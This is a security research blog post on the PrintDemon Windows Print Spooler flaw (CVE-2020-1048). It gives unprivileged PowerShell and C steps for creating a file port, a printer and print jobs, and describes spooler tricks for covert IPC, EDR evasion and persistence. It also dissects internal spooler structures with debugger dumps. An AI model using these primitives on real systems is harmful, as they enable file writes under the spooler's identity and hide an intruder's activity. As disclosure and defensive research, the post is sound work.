

PrintDemon: Print Spooler Privilege Escalation, Persistence & Stealth (CVE-2020-1048 & more)

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We promised you there would be a Part 1 to FaxHell, and with today's Patch Tuesday and [CVE-2020-1048](#), we can finally talk about some of the very exciting technical details of the [Windows Print Spooler](#), and interesting ways it can be used to elevate privileges, bypass EDR rules, gain persistence, and more. Ironically, the Print Spooler continues to be one of the oldest Windows components that still hasn't gotten much scrutiny, even though it's largely unchanged since Windows NT 4, and was even famously abused by Stuxnet (using some similar APIs we'll be looking at!). It's extra ironic that an [underground 'zine](#) first looked at the Print Spooler, which was never found by Microsoft, and that's what the team behind Stuxnet ended up using!

First, we'd like to shout out to [Peleg Hadar](#) and Tomer Bar from SafeBreach Labs who earned the MSRC acknowledgment for one of the CVEs we'll describe — there are a few others that both the team and ourselves have found, which may be patched in future releases, so there's definitely still some dragons hiding. We understand that Peleg and Tomer will be presenting their research at Blackhat USA 2020, which should be an exciting addition to this post.

Secondly, Alex would like to apologize for the naming/branding of a CVE — we did not originally anticipate a patch for this issue to have collided with other research, and we thought that since the Spooler is a service, or a *daemon* in Unix terms, and given the existence of FaxHell, the name PrintDemon would be appropriate.

Printers, Drivers, Ports, & Jobs

While we typically like to go into the deep, gory, guts of Windows components (it's an *internals* blog, after all!), we felt it would be worth keeping things simple, just to emphasize the criticality of these issues in terms of how easy they are to abuse/exploit — while also obviously providing valuable tips for defenders in terms of protecting themselves.

So, to begin with, let's look at a very simple description of how the printing process works, extremely dumbed down. We won't talk about *monitors* or *providers* (sp) or *processors*, but rather just the basic printing pipeline.

To begin with, a printer must be associated with a minimum of two elements:

- A printer port — you'd normally think of this as LPT1 back in the day, or a USB port today, or even a TCP/IP port (and address)
 - Some of you probably know that it can also “FILE:” which means the printer can print to a file (PORTPROMPT: on Windows 8 and above)
- A printer driver — this used to be a kernel-mode component, but with the new “v4” model, this is all done in user mode for more than a decade now

Because the Spooler service, implemented in Spoolsv.exe, runs with SYSTEM privileges, and is network accessible, these two elements have drawn people to perform all sorts of interesting attacks, such as trying to

- Printing to a file in a privilege location, hoping Spooler will do that
- Loading a “printer driver” that's actually malicious
- Dropping files remotely using Spooler RPC APIs
- Injecting “printer drivers” from remote systems
- Abusing file parsing bugs in EMF/XPS spooler files to gain code execution

Most of which have resulted in actual bugs found, and some hardening done by Microsoft. That being said, there remain a number of *logical* issues, that one could call downright *design flaws* which lead to some interesting behavior.

Back to our topic: to make things work, we must first load a printer driver. You'd naturally expect that this requires privileges, and some MSDN pages still suggest the `SeLoadDriverPrivilege` is required. However, starting in Vista, to make things easier for Standard User accounts, and due to the fact these now run in user-mode, the reality is more complicated. As long as the driver is a *pre-existing, inbox driver*, no privileges are needed — *whatsoever* — to install a print driver.

So let's install the simplest driver there is: the Generic / Text-Only driver. Open up a PowerShell window (as a standard user, if you'd like), and write:

```
> Add-PrinterDriver -Name "Generic / Text Only"
```

Now you can enumerate the installed drivers:

```
> Get-PrinterDriver
```

Name	PrinterEnvironment	MajorVersion	Manufacturer
----	-----	-----	-----
Microsoft XPS Document Writer v4	Windows x64	4	Microsoft
Microsoft Print To PDF	Windows x64	4	Microsoft
Microsoft Shared Fax Driver	Windows x64	3	Microsoft
Generic / Text Only	Windows x64	3	Generic

If you'd like to do this in plain old C, it couldn't be easier:

```
hr = InstallPrinterDriverFromPackage(NULL, NULL, L"Generic / Text Only", NULL, 0);
```

Our next required step is to have a port that we can associate with our new printer. Here's an interesting, not well documented twist, however: a port can be a file — and that's not the same thing as “printing to a file”. It's a file port, which is an entirely different concept. And adding one is just as easy as yet another line of PowerShell (we used a world writeable directory as our example):

```
> Add-PrinterPort -Name "C:\windows\tracing\myport.txt"
```

Let's see the fruits of our labour:

```
> Get-PrinterPort | ft Name
```

```
Name
```

```
----
```

```
C:\windows\tracing\myport.txt
```

```
COM1:
```

```
COM2:
```

```
COM3:
```

```
COM4:
```

```
FILE:
```

```
LPT1:
```


```
LPT2:
```

```
LPT3:
```

```
PORTPROMPT:
```

```
SHRFAX:
```

To do this in C, you have two choices. First, you can prompt the user to input the port name, by using the `AddPortW` API. You don't actually need to have your own GUI — you can pass `NULL` as the `hWnd` parameter — but you also have no control and will block until the user creates the port. The UI will look like this:



Another choice is to manually replicate what the dialog does, which is to use the `XcvData` API. Adding a port is as easy as:

```
PWCHAR g_PortName = L"c:\\windows\\tracing\\myport.txt";
dwNeeded = ((DWORD)wcslen(g_PortName) + 1) * sizeof(WCHAR);
XcvData(hMonitor,
        L"AddPort",
        (LPBYTE)g_PortName,
        dwNeeded,
        NULL,
        0,
        &dwNeeded,
        &dwStatus);
```

The more complicated part is getting that hMonitor — which requires a bit of arcane knowledge:

```
PRINTER_DEFAULTS printerDefaults;
printerDefaults.pDatatype = NULL;
printerDefaults.pDevMode = NULL;
printerDefaults.DesiredAccess = SERVER_ACCESS_ADMINISTER;
OpenPrinter(L"XcvMonitor Local Port", &hMonitor, &printerDefaults);
```

You might see ADMINISTER in there and go *a-ha* — *that needs Administrator privileges*. But in fact, it does not: anyone can add a port. What you'll note though, is that passing in a path you don't have access to will result in an "Access Denied" error. More on this later.

Don't forget to be a good citizen and call ClosePrinter(hMonitor) when you're done!

We have a port, we have a printer driver. That is all we need to create a printer and bind it to these two elements. And again, this does not require a privileged user, and is yet another single line of PowerShell:

```
> Add-Printer -Name "PrintDemon" -DriverName "Generic / Text Only" -PortName
"c:\windows\tracing\myport.txt"
```

Which you can now check with:

```
> Get-Printer | ft Name, DriverName, PortName

Name DriverName PortName
-----
PrintDemon Generic / Text Only C:\windows\tracing\myport.txt
```

The C code is equally simple:

```
PRINTER_INFO_2 printerInfo = { 0 };
printerInfo.pPortName = L"c:\\windows\\tracing\\myport.txt";
printerInfo.pDriverName = L"Generic / Text Only";
printerInfo.pPrinterName = L"PrintDemon";
printerInfo.pPrintProcessor = L"WinPrint";
```

```
printerInfo.pDatatype = L"RAW";  
hPrinter = AddPrinter(NULL, 2, (LPBYTE)&printerInfo);
```

Now you have a printer handle, and we can see what this is good for. Alternatively, you can use `OpenPrinter` once you know the printer exists, which only needs the printer name.

What can we do next? Well the last step is to actually print something. PowerShell delivers another simple command to do this:

```
> "Hello, Printer!" | Out-Printer -Name "PrintDemon"
```

If you take a look at the file contents, however, you'll notice something "odd":

```
0D 0A 0A 0A 0A 0A 0A 20 20 20 20 20 20 20 20  
20 48 65 6C 6C 6F 2C 20 50 72 69 6E 74 65 72 21  
0D 0A ...
```

Opening this in Notepad might give you a better visual indication of what's going on — PowerShell thinks this is an actual printer. So it's respecting the margins of the Letter (or A4) format, adding a few new lines for the top margin, and then spacing out your string for the left margin. Cute.

Bear in mind, this is behavior that in C, you can configure — but typically Win32 applications will print this way, since they think this is a real printer.

Speaking about C, how can you achieve the same effect? Well, here, we actually have two choices — but we'll cover the simpler and more commonly taken approach, which is to use the GDI API, which will internally create a *print job* to handle our payload.

```
DOC_INFO_1 docInfo;  
docInfo.pDatatype = L"RAW";  
docInfo.pOutputFile = NULL;  
docInfo.pDocName = L"Document";  
StartDocPrinter(hPrinter, 1, (LPBYTE)&docInfo);  
  
PCHAR printerData = "Hello, printer!\n";  
dwNeeded = (DWORD)strlen(printerData);  
WritePrinter(hPrinter, printerData, dwNeeded, &dwNeeded);
```


```
EndDocPrinter(hPrinter);
```

And, *voila*, the file contents now simply store our string.

To conclude this overview, we've seen how with a simple set of unprivileged PowerShell commands, or equivalent lines of C, we can essentially write data on the file system by pretending it's a printer. Let's take a look at what happens behind the scenes in Process Monitor.

Spooling as Evasion

Let's take a look at all of the operations that occurred when we ran these commands. We'll skip the driver "installation" as that's just a mess of PnP and Windows Servicing Stack, and begin with adding the port:




The screenshot shows the Process Monitor application window with the following data:


Process Name	PID	Operation	Path	Result	User
spoolsv.exe	16152	RegSetValue	HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Ports\C:\windows\tracing\myport.txt	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	16152	RegCloseKey	HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Ports	SUCCESS	NT AUTHORITY\SYSTEM

Showing 2 of 786,357 events (0.00025%) Backed by virtual memory

Here we have our first EDR / DFIR evidence trail : it turns out that printer ports are nothing more than registry values under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Ports. Obviously, only privileged users can write to this registry key, but the Spooler service does it for us over RPC, as you can see in the stack trace below:



Next, let's see how the printer creation looks like:




The screenshot shows the Process Monitor application window with a list of events. The events are filtered to show registry operations performed by the process spoolsv.exe. The operations are primarily 'RegSetValue' and 'RegOpenKey', targeting various registry paths related to the Print Demon service. The results are mostly 'SUCCESS', with a few 'NAME NOT FOUND' errors for 'RegOpenKey' operations. The user performing these operations is 'NT AUTHORITY\SYSTEM'.

Process Name	PID	Operation	Path	Result	User
spoolsv.exe	16152	RegSetValue	HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\Print Demon\Redirected	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	16152	RegSetValue	HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\Print Demon\Security	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	16152	RegSetValue	HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\Print Demon\CreatorSid	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	16152	RegSetValue	HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\Print Demon\QueueInstanceId	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	16152	RegSetValue	HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\Print Demon\DeviceInterfaceId	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	16152	RegSetValue	HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\Print Demon\SpoolDirectory	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	16152	RegSetValue	HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\Print Demon\Port	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	16152	RegSetValue	HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\Print Demon>Status	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	16152	RegCloseKey	HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\Print Demon	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	16152	RegOpenKey	HKCU\Printers\Connections\._DESKTOP-SVVLOTP,Print Demon,LocalOnly, LocalOnly	NAME NOT FOUND	NT AUTHORITY\SYSTEM
spoolsv.exe	16152	RegCreateKey	HKCU\Printers\DevModePerUser	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	16152	RegQueryValue	HKCU\Printers\DevModePerUser	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	16152	RegCloseKey	HKCU\Printers\DevModePerUser	SUCCESS	NT AUTHORITY\SYSTEM
spoolsv.exe	16152	RegOpenKey	HKCR\Print Demon,LocalOnly, LocalOnly	NAME NOT FOUND	NT AUTHORITY\SYSTEM
spoolsv.exe	16152	RegOpenKey	HKCR\Print Demon,LocalOnly, LocalOnly	NAME NOT FOUND	NT AUTHORITY\SYSTEM

Showing 5,090 of 2,763,713 events (0.18%) Backed by virtual memory

Again, we see that the operations are mostly registry based. Here's how a printer looks like — note the Port value, for example, which is showing our file path.




Now let's look at what that PowerShell command did when printing out our document. Here's a full view of the relevant file system activity (the registry is no longer really involved), with some interesting parts marked out:

[illegible]

Whoa — what’s going on here? First, let’s go a bit deeper in the world of printing. As long as *spooling* is enabled, data printed doesn’t directly go to the printer. Instead, the job is *spooled*, which essentially will result in the creation of a *spool file*. By default, this will live in the `c:\windows\system32\spool\PRINTERS` directory, but that is actually customizable on a per-system as well as per-printer basis (that’s a thread worth digging into later).


Again, also by default, this file name will either be `FPnnnnn.SPL` for EMF print operations, or simply `nnnnn.SPL` for RAW print operations. The SPL file is nothing more than a copy, essentially, of all the data that is meant to go the printer. In other words, it briefly contained the “Hello, printer!” string.

A more interesting file is the *shadow job file*. This file is needed because print jobs aren’t necessarily instant. They can error out, be scheduled, be paused, either manually or due to issues with the printer. During this time, information about the job itself must remain in more than just Spoolsv.exe’s memory, especially since it is often prone to crashing due to 3rd party printer driver bugs — and due to the fact that print jobs survive reboots. Below, you can see the Spooler writing out this file, whose data structure has changed over the years, but has now reached the `SHADOWFILE_4` data structure that is documented on our [GitHub repository](#).




We'll talk about some interesting things you can do with the *shadow job file* later in the persistence section.

Next, we have the actual creation of the file that is serving as our port. Unfortunately, Process Monitor always shows the primary token, so if you double-click on the event, you'll see this operation is actually done under impersonation:



This may actually seem like a key security feature of the Spooler service — without it, you could create a printer port to any privileged location on the disk, and have the Spooler “print” to it, essentially achieving an arbitrary file system read/write primitive. However, as we’ll describe later, the situation is a bit more complicated. It may also seem like from an EDR perspective, you still have *some* idea as to who the user is. But, stay tuned.

Finally, once the write is done, both the *spool file* and the *shadow job file* are deleted (by default), which is seen as those SetDisposition calls:



So far, what we've shown is that we can write anywhere on disk — presumably to locations that we have access to — under the guise of the Spooler service. Additionally, we've shown that the file creation is done under impersonation, which should reveal the original user behind the operation. Investigating the *job*

itself will also show the user name and machine name. So far, forensically, it seems like as long as this information can be gathered, it's hard to hide...

We will break both of those assumptions soon, but first, let's take a look at an interesting way that this behavior can be used.

Spooling as IPC

The first interesting use of the Spooler, and most benign, is to leverage it for communication between processes, across users, and even across reboots (and potentially networks). You can essentially treat a *printer* as a securable object (technically, a *printer job* is too, but that's not officially exposed) and issue both *read* and *write* operations in it, through two mechanisms:


- Using the GDI API, and issuing ReadPrinter and WritePrinter commands.
 - First, you must have issued a StartDocPrinter and EndDocPrinter pair of calls (in between the write) to create the *printer job* and spool data in it.
 - The trick is to use SetJob to make the job enter a paused state from the beginning (JOB_CONTROL_PAUSE), so the *pool file* remains persistent
 - The former API will return a print job ID, that the client side can then use as part of a call to OpenPrinter with the special syntax of adding the suffix ,Job n to the printer name, which opens a *print job* instead of a *printer*.
 - Clients can use the EnumJobs API to enumerate all the printer jobs and find the one they want to read from based on some properties.
- Using the raw print job API, and using WriteFile after obtaining a handle to the *pool file*.
 - Once the writes are complete, call ScheduleJob to officially make it visible.
 - Client continues to use ReadPrinter like in the other option

You might wonder what advantages any of this has versus just using regular File I/O. We've thought of a few:

- If going with the full GDI approach, you're not importing any obvious I/O APIs
- The read and writes, when done by ReadPrinter and WritePrinter are ***not done impersonated***. This means that they appear as if coming from SYSTEM running inside Spoolsv.exe
 - This also potentially means you can read and write from a spooler file in a location where you'd normally not have access to.
- It's doubtful any security products, until just about now, have ever investigated or looked at spooler files
 - And, with the right API/registry changes, you can actually move the spooler directory somewhere else for your printer
- By cancelling the job, you get immediate deletion of the data, again, from a service context
- By resuming the job, you essentially achieve a file copy — albeit this one does happen impersonated, as we've learnt so far


We've published on our [GitHub repository](#) a simple printclient and printserver application, which implement client/server mechanism for communicating between two processes by leveraging these ideas.

Let's see what happens when we run the server:



```
C:\windows\system32\cmd.exe - C:\Users\aione\source\repos\printdemon\x64\Debug\printserver.exe
C:\Users\aione>C:\Users\aione\source\repos\printdemon\x64\Debug\printserver.exe
[+] Created Job ID: 23
[.] Opening spooler job: C:\windows\system32\spool\PRINTERS\00023.SPL
[+] Launch client... and press ENTER after
```


As expected, we now have a *spool file* created, and we can see the print queue below showing our job — which is highly visible and traceable, if you know to look.



Printer	Document	Status	Owner	Pages	Size	Submitted
	Local Downlevel Document	Paused	aione	N/A	41 bytes	3:51:49 PM 5/12/2020

1 document(s) in queue

On the client side, let's run the binary and look at the result:



```

C:\Users\aione>C:\Users\aione\source\repos\printdemon\x64\Debug\printclient.exe
[+] Found IPC Printer: PrintDemon (status = 1060)
[+] Found IPC Job
[.] Job ID: 24
[.] Queued by: aione on \\DESKTOP-SVVLOTP
[.] SD: 0000000000000000
[.] Document Name: Local Downlevel Document and type: RAW
[.] Job Status: 1 ((null))
[.] Priority: 1 Position: 1
[.] Data Size: 41 bytes (0 pages total, 0 printed so far)
[.] Time: 0 Start Time: 0 End Time: 0
[.] Submitted on 5/12/2020 at 23:0:53.398
[.] Opening C:\windows\system32\spool\PRINTERS\00024.SHD
[+] Found Shadow File Job
[.] Job ID: 24
[.] Queued by: aione on \\DESKTOP-SVVLOTP
[.] SD: 000001D3863C6928
[.] Document Name: Local Downlevel Document and type: RAW
[.] Job Status: 280002
[.] Priority: 1
[.] Data Size: 41 bytes (0 pages total)
[.] Start Time: 60 End Time: 60
[.] Submitted on 5/12/2020 at 23:0:53.398
[.] Reading 41 bytes of data from printer
[+] Printer Data: Hello! This is data from your printer :-)
```

The information you see at the top comes from the printer API — using `EnumJob` and `GetJob` to retrieve the information that we want. Additionally, however, we went a step deeper, as we wanted to look at the information stored in the *shadow job* itself. We noted some interesting discrepancies:

- Even though MSDN claims otherwise, and the API will always return NULL, print jobs to indeed have security descriptors
 - Trying to zero them out in the *shadow job* made the Spooler unable to ever resume/write the data!

- Some data is represented differently
 - For example, the Status field in the *shadow job* has different semantics, and contains internal statuses that are not exposed through the API
 - Or, the StartTime and UntilTime, which are 0 in the API, are actually 60 in the *shadow job*

We wanted to better understand how and when the *shadow job* data is read, and when is internal state in the Spooler used instead — just like the Service Control Manager both has its own in-memory database of services, but also backs it all up in the registry, we thought the Spooler must work in a similar way.

Spooler Forensics

Eventually, thanks to the fact that the Spooler is written in C++ (which has rich type information due to mangled function names) we understood that the Spooler keeps track of jobs in INIJOB data structures.

We started looking at the various data structures involved in keeping track of Spooler information, and came up with the following data structures, each of which has a human-readable signature which makes reverse engineering easier:

```
#define ISP_SIGNATURE 0x4953504C /* 'ISPL' is the signature value (INISPOOLER) */
#define SJ_SIGNATURE 0x464D /* 'MF' is the signature value (SPOOL) */
#define IFO_SIGNATURE 0x4650 /* 'FO' is the signature value (INIFORM) */
#define IE_SIGNATURE 0x4545 /* 'EE' is the signature value (INIENVIRONMENT) */
#define ID_SIGNATURE 0x4444 /* 'DD' is the signature value (INIDRIVER) */
#define IPP_SIGNATURE 0x5050 /* 'PP' is the signature value (INIPRINTPROC) */
#define IP_SIGNATURE 0x4951 /* 'IP' is the signature value (INIPRINTER) */
#define IJ_SIGNATURE 0x494A /* 'IJ' is the signature value (INIJOB) */
#define IN_SIGNATURE 0x494F /* 'IN' is the signature value (INETPRINT) */
#define IMO_SIGNATURE 0x4C50 /* 'MO' is the signature value (INIMONITOR) */
#define IPO_SIGNATURE 0x4F50 /* 'PO' is the signature value (INIPOINT) */
#define SF_SIGNATURE 0x494B /* 'SF' is the signature value (SHADOWFILE) */
#define SF_SIGNATURE_2 0x4966 /* 'Sf' is the signature value (SHADOWFILE_2) */
#define SF_SIGNATURE_25 0x4967 /* 'Sg' is the signature value (SHADOWFILE_25) */
#define SF_SIGNATURE_3 0x4968 /* 'Sh' is the signature value (SHADOWFILE_3) */
#define SF_SIGNATURE_4 0x5123 /* 'Q#' is the signature value (SHADOWFILE_4) */
```

For full disclosure, it seems GitHub continues to host NT4 source code for the world to look at, and when searching for some of these types, the `Spltypes.h` header file repeatedly came up. We used it as an initial starting point, and then manually updated the structures based on reverse engineering.

To start with, you'll want to find the `pLocalIniSpooler` pointer in `Localspl.dll` — this contains a pointer to `INISPOOLER`, which is partially shown below:

Offset	Size	struct __declspec(align(8)) _INISPOOLER
		{
0000	0004	DWORD signature;
0008	0008	struct _INISPOOLER *pIniNextSpooler;
0010	0008	DWORD64 cRef;
0018	0008	LPWSTR pMachineName;
0020	0008	LPWSTR pDir;
0028	0008	struct _INIPRINTER *pIniPrinter;
0030	0008	struct _INIENVIRONMENT *pIniEnvironment;
0038	0008	struct _INIPORT *pIniPort;
0040	0008	struct _INIFORM *pIniForm;
0048	0008	struct _INIMONITOR *pIniMonitor;
0050	0008	struct _ININETPORT *pIniNetPrint;
0058	0008	struct _SPOOL *pSpool;

Here it is in memory:

```
0:007> dpp poi(pLocalIniSpooler) LC
00000000`01910080 00000000`4953504c (ISPL)
00000000`01910088 00000000`00000000 (Next Spooler)
00000000`01910090 00000000`0000000d (Reference Count)
00000000`01910098 00000000`01500f30 00450044`005c005c ("\\DESKTOP-SVVL0TP")
00000000`019100a0 00000000`01500f60 0077005c`003a0043 ("C:\windows\system32\spool")
00000000`019100a8 00000000`01930f20 00000000`00004951 (IP)
00000000`019100b0 00000000`01505140 00000000`00004545 (EE)
00000000`019100b8 00000000`01504a60 00000000`00004c50 (MO)
00000000`019100c0 00000000`0150eb90 00000000`00004f50 (PO)
00000000`019100c8 00000000`019251a0 00000000`00004650 (FO)
00000000`019100d0 00000000`00000000
00000000`019100d8 00000000`01928220 00000000`0000464d (MF)
```

As you can see, this key data structure points to the first `INIPRINTER`, the `INIMONITOR`, the `INIENVIRONMENT`, the `INIPORT`, the `INIFORM`, and the `SPOOL`. From here, we could start by dumping the printer, which starts with the following data structure:

Offset	Size	struct __declspec(align(8)) INIPRINTER
		{
0000	0004	DWORD signature;
0008	0008	struct _INIPRINTER *pNext;
0010	0008	DWORD64 cRef;
0018	0008	LPWSTR pName;
0020	0004	DWORD dwFlags;
0028	0008	LPWSTR pShareName;
0030	0004	DWORD dwUnknown;
0038	0008	PVOID pIniPrintProc;
0040	0008	LPWSTR pDatatype;
0048	0008	LPWSTR pParameters;
0050	0008	LPWSTR pComment;
0058	0008	PVOID pIniDriver;
0060	0004	DWORD cbDevMode;
0068	0008	LPDEVMODE pDevMode;
0070	0004	DWORD Priority;
0074	0004	DWORD DefaultPriority;
0078	0004	DWORD StartTime;
007C	0004	DWORD UntilTime;
0080	0008	LPWSTR pSepFile;
0088	0004	DWORD Status;
0090	0008	LPWSTR pLocation;
0098	0004	DWORD Attributes;
009C	0004	DWORD cJobs;
00A0	0004	DWORD AveragePPM;
00A4	0004	BOOL GenerateOnClose;
00A8	0008	struct _INIPORT *pIniNetPort;
00B0	0008	struct _INIJOB *pIniFirstJob;
00B8	0008	struct _INIJOB *pIniLastJob;
00C0	0008	PSECURITY_DESCRIPTOR pSecurityDescriptor;
00C8	0008	struct SPOOL *pSpool;

In memory, for the printer the printserver [PoC on GitHub](#) creates, you'd see:

```

0:007> dpp 0000000001930f20 L1A
00000000`01930f20 00000000`00004951 (IP)
00000000`01930f28 00000000`0150c480 00000000`00004951 (IP, Next Printer)
00000000`01930f30 00000000`00000001 (Reference Count)
00000000`01930f38 00000000`01506800 006e0069`00720050 ("PrintDemon")
00000000`01930f40 00000000`00000bf4 (Flags)
00000000`01930f48 00000000`00000000 (Share Name)
00000000`01930f50 00000000`00000001 (Unknown)
00000000`01930f58 00000000`01a63bb0 00000000`00005050 (PP, "winprint")
00000000`01930f60 00000000`01509df0 00000057`00410052 ("RAW")
00000000`01930f68 00000000`00000000 (Parameters)
00000000`01930f70 00000000`01924000 00200064`00270049 ("I'd be careful with this one...")
00000000`01930f78 00000000`01505f70 00000000`00004444 (DD, "Generic / Text Only")
00000000`01930f80 00000000`000003e8 (DEVMODE Size)
00000000`01930f88 00000000`0195f400 006e0069`00720050 ("PrintDemon")
00000000`01930f90 00000000`00000001 (Priority)
00000000`01930f98 0000003c`0000003c (Start & Until Time)
00000000`01930fa0 00000000`00000000 (Separator)
00000000`01930fa8 00000000`00000080 (Status)
00000000`01930fb0 00000000`0192b3d0 00690073`006e0049 ("Inside of an exploit")
00000000`01930fb8 00000001`00001020 (Jobs & Attributes)
00000000`01930fc0 00000000`00000000 (Average PPM)
00000000`01930fc8 00000000`00000000 (Internet Port)|
00000000`01930fd0 00000000`01a756a0 00000000`0000494a (IJ, First Job)
00000000`01930fd8 00000000`01a756a0 00000000`0000494a (IJ, Last Job)
00000000`01930fe0 00000000`00cc8e00 000001c8`800c0001 (Security Descriptor)
00000000`01930fe8 00000000`01928640 00000000`0000464d (MF)

```

You could also choose to look at the INIPORT structures linked by the INISPOOLER earlier — or directly grab the one associated with the INIPRINTER above. Each one looks like this:

```

Offset|Size|struct __declspec(align(8)) _INIPORT
{
0000|0004|    DWORD signature;
0008|0008|    struct _INIPORT *pNext;
0010|0008|    DWORD64 cRef;
0018|0008|    LPWSTR pName;
0020|0002|    WORD wNameHash;
0028|0008|    DWORD64 pSandboxAdapter;
0030|0004|    DWORD Status;
0034|0004|    DWORD PrinterStatus;
0038|0008|    LPWSTR pszStatus;
0040|0008|    HANDLE Semaphore;
0048|0008|    struct _INIJOB *pIniJob;
0050|0004|    DWORD cJobs;
0054|0004|    DWORD cPrinters;
0058|0008|    struct _INIPRINTER **ppIniPrinter;
0060|0008|    struct _INIMONITOR *pIniMonitor;

```

Once again, the port we created in the PoC looks like this in memory, at the time that the job is being spooled:

```

0:007> dpp 00000000`0150eb90 LD
00000000`0150eb90 00000000`00004f50 (PO)
00000000`0150eb98 00000000`0150e970 00000000`00004f50 (PO, Next Port)
00000000`0150eba0 00000000`00000001 (Reference Count)
00000000`0150eba8 00000000`0150ec80 0077005c`003a0063 ("c:\windows\tracing\demoport.txt")
00000000`0150ebb0 00000000`000002b9 (Port Name Hash)
00000000`0150ebb8 00000000`00000000 (Print Processor Sandbox Adapter)
00000000`0150ebc0 00000000`0000800C (Status & Printer Status)
00000000`0150ebc8 00000000`00000000 (Status String)
00000000`0150ebd0 00000000`00000938 (Semaphore)
00000000`0150ebd8 00000000`01a756a0 00000000`0000494a (IJ, "Local Downlevel Document")
00000000`0150ebe0 00000001`00000001 (Job & Printer Count)
00000000`0150ebe8 00000000`01509c60 00000000`01930f20 (IP, "PrintDemon")
00000000`0150ebf0 00000000`01501860 00000000`00004c50 (MO, "Local Port")

```

Finally, both the INIPOINT and the INIPRINTER were pointing to the INIJOB that we created. The structure looks as such:

```

Offset Size struct __declspec(align(8)) _INIJOB
{
  0000 0004 DWORD signature;
  0008 0008 struct _INIJOB *pIniNextJob;
  0010 0008 struct _INIJOB *pIniPrevJob;
  0018 0008 ULONGLONG cRef;
  0020 0004 DWORD Status;
  0024 0004 DWORD JobId;
  0028 0004 DWORD Priority;
  0030 0008 LPWSTR pNotify;
  0038 0008 LPWSTR pUser;
  0040 0008 LPWSTR pMachineName;
  0048 0008 LPWSTR pDocument;
  0050 0008 LPWSTR pOutputFile;
  0058 0008 struct _INIPRINTER *pIniPrinter;
  0060 0008 struct _INIDRIVER *pIniDriver;
  0068 0008 LPDEVMODE pDevMode;
  0070 0008 struct _INIPRINTPROC *pIniPrintProc;
  0078 0008 LPWSTR pDatatype;
  0080 0008 LPWSTR pParameters;
  0088 0010 SYSTEMTIME Submitted;
  0098 0004 DWORD Time;
  009C 0004 DWORD StartTime;
  00A0 0004 DWORD UntilTime;
  00A8 0008 DWORD64 Size;
  00B0 0008 LPWSTR pStatus;
  00B8 0008 PVOID pBuffer;
}

```

This should be very familiar, as it's a different representation of much of the same data from the *shadow job file* as well as what EnumJob and GetJob will return. For our job, this is what it looked like in memory:


```

0:007> dpp 00000000`01a756a0 L10
00000000`01a756a0 00000000`0000494a (IJ)
00000000`01a756a8 00000000`00000000 (Next Job)
00000000`01a756b0 00000000`00000000 (Previous Job)
00000000`01a756b8 00000000`00000000 (References)
00000000`01a756c0 00000018`00280002 (Job ID & Status)
00000000`01a756c8 00340039`00000001 (Priority)
00000000`01a756d0 00000000`01926b90 006e006f`00690061 ("aione")
00000000`01a756d8 00000000`01926b70 006e006f`00690061 ("aione")
00000000`01a756e0 00000000`0192dae0 00450044`005c005c ("\\DESKTOP-SVVLOTP")
00000000`01a756e8 00000000`01963440 00610063`006f004c ("Local Downlevel Document")
00000000`01a756f0 00000000`00000000 (Output File)
00000000`01a756f8 00000000`01930f20 00000000`00004951 (IP, "PrintDemon")
00000000`01a75700 00000000`01505f70 00000000`00004444 (DD, "Generic / Text Only")
00000000`01a75708 00000000`019607b0 006e0069`00720050 (DEVMODE, "PrintDemon")
00000000`01a75710 00000000`01a63bb0 00000000`00005050 (PP, "winprint")
00000000`01a75718 00000000`01509e60 00000057`00410052 ("RAW")

```

Locating and enumerating these structures gives you a good forensic overview of what the Spooler has been up to — as long as Spoolsv.exe is still running and nobody has tampered with it.

Unfortunately, as we're about to show, that's not something you can really depend on.

Spooling as Persistence

Since we know that the Spooler is able to print jobs even across reboots (as well as when the service exits for any reason), it stands to reason that there's some logic present to absorb the *shadow job file* data and create INIJOB structures out of it.

Looking in IDA, we found the following aptly named function and associated loop, which is called during the initialization of the Local Spooler:


```

ProcessShadowJobs(0i64, spooler);
if ( GetPrinterDirectory(0i64, 0, &Data, 0x104u, spooler) )
{
    for ( printer = spooler->pIniPrinter; printer; printer = printer->pNext )
    {
        spoolDirectory = printer->pSpoolDir;
        if ( spoolDirectory && _wcsicmp(&Data, spoolDirectory) )
        {
            ProcessShadowJobs(printer, spooler);
        }
    }
}

```

Essentially, this processes any *shadow job file* data associated with the Spooler itself (*server jobs*, as they're called), and then proceeds to enumerate every INIPRINTER, get its spooler directory (typically, the default), and process its respective *shadow job file* data.

This is performed by ProcessShadowJobs, which mainly executes the following loop:

```


findData = DllAllocSplMem(592i64);
if ( findData )
{
    hFidFile = FindFirstFileW(shadowDirectory, findData);
    if ( hFidFile != INVALID_HANDLE_VALUE )
    {
        do
        {
            if ( !(findData->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) )
            {
                ReadShadowJob(printerDirectory, findData, Spooler);
            }
        } while ( FindNextFileW(hFidFile, findData) );
        FindClose(hFidFile);
    }
    DllFreeSplMem(findData);
}

```

